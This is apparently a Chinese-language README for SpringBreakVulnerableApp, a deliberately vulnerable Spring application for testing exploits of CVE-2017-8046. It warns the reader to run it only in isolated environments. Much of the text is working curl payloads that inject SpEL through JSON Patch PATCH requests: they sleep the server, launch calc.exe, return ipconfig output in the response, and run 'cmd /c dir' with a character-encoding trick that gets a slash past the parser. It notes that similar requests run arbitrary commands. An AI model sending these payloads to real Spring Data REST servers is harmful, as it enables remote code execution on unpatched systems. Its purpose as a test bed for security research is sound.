这是一个用于测试 Spring Break 漏洞(CVE-2017-8046)利用程序的存在漏洞的应用程序。
此应用程序包含严重的安全漏洞。请自担风险运行!建议使用已备份且隔离的环境(例如具有最新快照和仅主机网络的虚拟机)。请勿将此应用程序上传到任何面向互联网的服务器,否则它们将被入侵。
免责声明:我不对任何人使用此应用程序(SpringBreakVulnerableApp)的方式承担任何责任。此应用程序的唯一目的是作为 Spring Break 漏洞利用的测试场景,不应被恶意使用。如果您的服务器因安装 SpringBreakVulnerableApp 而被入侵,那不是我的责任,而是上传并安装它的人的责任。
可以使用以下 Maven 命令启动该应用程序。
mvn spring-boot:run
可以使用以下 Maven 命令生成 fat jar。
mvn clean install spring-boot:repackage
要插入数据,可以使用以下 curl 命令。
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
最简单的漏洞利用方式可能是以下请求。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
在 Windows 上,可以通过以下请求启动 calc.exe 进程。类似的请求可用于启动任意命令。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
要获取已启动命令的输出,可以使用 Spring Framework 代码提供的一些“gadgets”。幸运的是,不需要外部依赖。例如,可以通过以下请求获取 ipconfig 命令的结果。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
在 Windows 上,可以通过以下请求启动 cmd /c dir 命令及其他类似命令。请注意,这里使用了技巧来插入斜杠字符,以避免使用显式值(即在真正解析之前,显式斜杠会被替换为点号)。
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
该漏洞的 Java 利用程序可在此处找到。
本项目采用 MIT 许可证授权 - 有关详细信息,请参阅 LICENSE.txt 文件。